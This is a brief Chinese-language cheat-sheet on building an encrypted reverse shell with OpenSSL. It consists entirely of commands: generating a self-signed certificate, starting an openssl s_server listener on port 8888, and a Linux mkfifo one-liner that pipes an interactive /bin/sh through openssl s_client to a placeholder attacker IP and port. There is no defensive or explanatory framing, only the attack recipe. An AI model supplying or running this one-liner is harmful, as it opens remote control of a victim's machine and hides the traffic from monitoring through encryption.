使用OpenSsl加密反弹shell

生成自签名证书

openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes

服务端监听8888端口

openssl s_server -quiet -key key.pem -cert cert.pem -port 8888

Linux下使用mkfifo进行反弹shell

mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect Your ip:Your port> /tmp/s; rm /tmp/s